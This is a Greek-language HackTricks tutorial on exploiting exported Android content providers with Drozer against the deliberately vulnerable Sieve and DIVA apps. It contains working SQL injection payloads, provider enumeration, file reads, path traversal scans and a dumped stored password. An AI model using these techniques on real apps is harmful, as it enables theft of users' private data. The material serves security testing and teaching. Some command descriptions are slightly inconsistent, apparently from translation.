Exploiting Content Providers

Εκμεταλλευόμενοι τους Πάροχους Περιεχομένου

Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι για να υποστηρίξετε το HackTricks:

Εισαγωγή

Τα δεδομένα παρέχονται από μια εφαρμογή σε άλλες με αίτηση από ένα στοιχείο που ονομάζεται πάροχος περιεχομένου. Αυτές οι αιτήσεις διαχειρίζονται μέσω των μεθόδων της κλάσης ContentResolver. Οι πάροχοι περιεχομένου μπορούν να αποθηκεύουν τα δεδομένα τους σε διάφορες τοποθεσίες, όπως μια βάση δεδομένων, αρχεία ή μέσω δικτύου.

Στο αρχείο Manifest.xml, απαιτείται η δήλωση του παρόχου περιεχομένου. Για παράδειγμα:

<provider android:name=".DBContentProvider" android:exported="true" android:multiprocess="true" android:authorities="com.mwr.example.sieve.DBContentProvider">
<path-permission android:readPermission="com.mwr.example.sieve.READ_KEYS" android:writePermission="com.mwr.example.sieve.WRITE_KEYS" android:path="/Keys"/>
</provider>

Για να αποκτήσετε πρόσβαση στο content://com.mwr.example.sieve.DBContentProvider/Keys, απαιτείται η άδεια READ_KEYS. Είναι ενδιαφέρον να σημειωθεί ότι η διαδρομή /Keys/ είναι προσβάσιμη στο επόμενο τμήμα, το οποίο δεν προστατεύεται λόγω ενός λάθους του προγραμματιστή, ο οποίος προστάτεψε το /Keys αλλά δήλωσε το /Keys/.

Ίσως να έχετε πρόσβαση σε προσωπικά δεδομένα ή να εκμεταλλευτείτε κάποια ευπάθεια (SQL Injection ή Path Traversal).

Λήψη πληροφοριών από εκθέτες παρόχους περιεχομένου

dz> run app.provider.info -a com.mwr.example.sieve
Package: com.mwr.example.sieve
Authority: com.mwr.example.sieve.DBContentProvider
Read Permission: null
Write Permission: null
Content Provider: com.mwr.example.sieve.DBContentProvider
Multiprocess Allowed: True
Grant Uri Permissions: False
Path Permissions:
Path: /Keys
Type: PATTERN_LITERAL
Read Permission: com.mwr.example.sieve.READ_KEYS
Write Permission: com.mwr.example.sieve.WRITE_KEYS
Authority: com.mwr.example.sieve.FileBackupProvider
Read Permission: null
Write Permission: null
Content Provider: com.mwr.example.sieve.FileBackupProvider
Multiprocess Allowed: True
Grant Uri Permissions: False

Είναι δυνατόν να συνθέσετε πώς να φτάσετε στον DBContentProvider ξεκινώντας τα URIs με "content://". Αυτή η προσέγγιση βασίζεται σε εισαγωγικά που αποκτήθηκαν από τη χρήση του Drozer, όπου βρέθηκε κύρια πληροφορία στον φάκελο /Keys.

Ο Drozer μπορεί να μαντέψει και να δοκιμάσει πολλά URIs:

dz> run scanner.provider.finduris -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Unable to Query content://com.mwr.example.sieve.DBContentProvider/
...
Unable to Query content://com.mwr.example.sieve.DBContentProvider/Keys
Accessible content URIs:
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Passwords/

Θα πρέπει επίσης να ελέγξετε τον κώδικα του ContentProvider για να αναζητήσετε ερωτήματα:

Επίσης, αν δεν μπορείτε να βρείτε πλήρη ερωτήματα, μπορείτε να ελέγξετε ποια ονόματα δηλώνονται από το ContentProvider στη μέθοδο onCreate:

Το ερώτημα θα είναι κάτι σαν αυτό: content://όνομα.πακέτου.κλάσης/δηλωμένο_όνομα

Παροχείς περιεχομένου με βάση δεδομένων

Πιθανώς οι περιοχείς περιεχομένου χρησιμοποιούνται ως διεπαφή για μια βάση δεδομένων. Επομένως, αν μπορείτε να έχετε πρόσβαση, μπορείτε να εξάγετε, ενημερώσετε, εισαγάγετε και διαγράψετε πληροφορίες. Ελέγξτε αν μπορείτε να έχετε πρόσβαση σε ευαίσθητες πληροφορίες ή δοκιμάστε να τις αλλάξετε για να παρακάμψετε τους μηχανισμούς εξουσιοδότησης.

Όταν ελέγχετε τον κώδικα του Content Provider, αναζητήστε επίσης συναρτήσεις με ονόματα όπως: query, insert, update και delete:

Επειδή θα μπορείτε να τις καλέσετε.

Ερώτημα περιεχομένου

dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --vertical
_id: 1
service: Email
username: incognitoguy50
password: PSFjqXIMVa5NJFudgDuuLVgJYFD+8w==
-
email: incognitoguy50@gmail.com

Εισαγωγή περιεχομένου

Ερωτώντας τη βάση δεδομένων θα μάθετε τα ονόματα των στηλών, και στη συνέχεια θα μπορείτε να εισάγετε δεδομένα στη βάση:

Σημειώστε ότι στην εισαγωγή και την ενημέρωση μπορείτε να χρησιμοποιήσετε --string για να υποδείξετε συμβολοσειρά, --double για να υποδείξετε έναν διπλό, --float, --integer, --long, --short, --boolean

Ενημέρωση περιεχομένου

Γνωρίζοντας τα ονόματα των στηλών μπορείτε επίσης να τροποποιήσετε τις καταχωρήσεις:

Διαγραφή περιεχομένου

SQL Injection

Είναι απλό να ελέγξετε για SQL injection (SQLite) παραμορφώνοντας τα πεδία projection και selection που περνούν στον πάροχο περιεχομένου. Όταν ερωτάτε τον πάροχο περιεχομένου υπάρχουν 2 ενδιαφέροντα ορίσματα για να αναζητήσετε πληροφορίες: --selection και --projection:

Μπορείτε να δοκιμάσετε να καταχραστείτε αυτά τα παράμετροι για να ελέγξετε για SQL injections:

dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --selection "'"
unrecognized token: "')" (code 1): , while compiling: SELECT * FROM Passwords WHERE (')
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "*
FROM SQLITE_MASTER WHERE type='table';--"
| type  | name             | tbl_name         | rootpage | sql              |
| table | android_metadata | android_metadata | 3        | CREATE TABLE ... |
| table | Passwords        | Passwords        | 4        | CREATE TABLE ... |

Αυτόματη ανακάλυψη SQLInjection από το Drozer

Το Drozer είναι ένα ισχυρό εργαλείο για την ανάλυση και την εκμετάλλευση ευπάθειών σε εφαρμογές Android. Μπορεί επίσης να χρησιμοποιηθεί για την ανακάλυψη αυτόματων ευπαθειών SQLInjection σε εφαρμογές που χρησιμοποιούν Content Providers.

Για να ανακαλύψετε αυτόματα ευπάθειες SQLInjection με το Drozer, μπορείτε να χρησιμοποιήσετε την εντολή run app.provider.sqlinjection στο Drozer console. Αυτή η εντολή θα εκτελέσει μια σειρά από επιθέσεις SQLInjection σε όλους τους Content Providers που βρίσκονται στην εφαρμογή Android που ελέγχετε.

Το Drozer θα εκτελέσει αυτόματα διάφορες επιθέσεις SQLInjection, όπως την εισαγωγή ενός μη εγκυρου SQL ερωτήματος ή την εκτέλεση ενός ερωτήματος SQL που περιέχει εντολές SQL εντολών. Αν ανιχνευθεί μια ευπάθεια SQLInjection, το Drozer θα εμφανίσει τις λεπτομέρειες της ευπάθειας, όπως τον τύπο της ευπάθειας και τον πίνακα που επηρεάζεται.

Είναι σημαντικό να σημειωθεί ότι η αυτόματη ανακάλυψη ευπαθειών SQLInjection με το Drozer είναι ένα απλό εργαλείο και μπορεί να μην ανιχνεύσει όλες τις ευπαθείες. Επομένως, είναι σημαντικό να εκτελέσετε επιπλέον ελέγχους και να εξετάσετε τον κώδικα της εφαρμογής για πιθανές ευπαθείες SQLInjection.

dz> run scanner.provider.injection -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Injection in Projection:
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Passwords/
Injection in Selection:
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Passwords/

dz> run scanner.provider.sqltables -a jakhar.aseem.diva
Scanning jakhar.aseem.diva...
Accessible tables for uri content://jakhar.aseem.diva.provider.notesprovider/notes/:
android_metadata
notes
sqlite_sequence

Παροχείς περιεχομένου που υποστηρίζονται από το σύστημα αρχείων

Οι παροχείς περιεχομένου μπορούν επίσης να χρησιμοποιηθούν για να έχουμε πρόσβαση σε αρχεία:

Διάβασμα αρχείου

Μπορείτε να διαβάσετε αρχεία από τον παροχέα περιεχομένου

dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts
127.0.0.1            localhost

Διάβαση Διαδρομής (Path Traversal)

Εάν μπορείτε να έχετε πρόσβαση σε αρχεία, μπορείτε να προσπαθήσετε να καταχραστείτε μια Διάβαση Διαδρομής (σε αυτήν την περίπτωση αυτό δεν είναι απαραίτητο, αλλά μπορείτε να δοκιμάσετε να χρησιμοποιήσετε "../" και παρόμοια κόλπα).

dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts
127.0.0.1            localhost

Αυτόματη ανακάλυψη Path Traversal από το Drozer

Το Drozer είναι ένα ισχυρό εργαλείο για τον έλεγχο ασφαλείας εφαρμογών Android. Μπορεί να χρησιμοποιηθεί για την ανίχνευση ευπάθειών στις εφαρμογές και την εκμετάλλευσή τους. Ένα από τα χαρακτηριστικά του Drozer είναι η αυτόματη ανακάλυψη ευπαθειών Path Traversal.

Η ευπάθεια Path Traversal συμβαίνει όταν μια εφαρμογή επιτρέπει σε έναν επιτιθέμενο να αποκτήσει πρόσβαση σε αρχεία ή φακέλους που δεν θα έπρεπε να έχει πρόσβαση. Αυτό μπορεί να οδηγήσει σε διαρροή ευαίσθητων πληροφοριών ή ακόμα και στην εκτέλεση κακόβουλου κώδικα.

Για να ανακαλύψετε αυτόματα ευπάθειες Path Traversal με το Drozer, μπορείτε να χρησιμοποιήσετε την εντολή run app.provider.finduri στο Drozer console. Αυτή η εντολή θα ελέγξει αυτόματα τις εφαρμογές Android για ευπάθειες Path Traversal στους Content Providers τους.

Αφού εκτελέσετε την εντολή, το Drozer θα εμφανίσει τα αποτελέσματα που περιέχουν ευπάθειες Path Traversal. Μπορείτε να εξετάσετε αυτά τα αποτελέσματα για να κατανοήσετε ποιες εφαρμογές είναι ευάλωτες και να λάβετε τα απαραίτητα μέτρα για να επιδιορθώσετε τις ευπάθειες αυτές.

Η αυτόματη ανακάλυψη ευπαθειών Path Traversal με το Drozer είναι ένα χρήσιμο εργαλείο για την ασφάλεια των εφαρμογών Android. Με τη χρήση αυτής της τεχνικής, μπορείτε να εντοπίσετε και να επιδιορθώσετε ευπάθειες Path Traversal πριν αυτές εκμεταλλευτούνται από κακόβουλους επιτιθέμενους.

dz> run scanner.provider.traversal -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Vulnerable Providers:
content://com.mwr.example.sieve.FileBackupProvider/
content://com.mwr.example.sieve.FileBackupProvider

Αναφορές

Μάθετε το hacking του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι για να υποστηρίξετε το HackTricks:

Last updated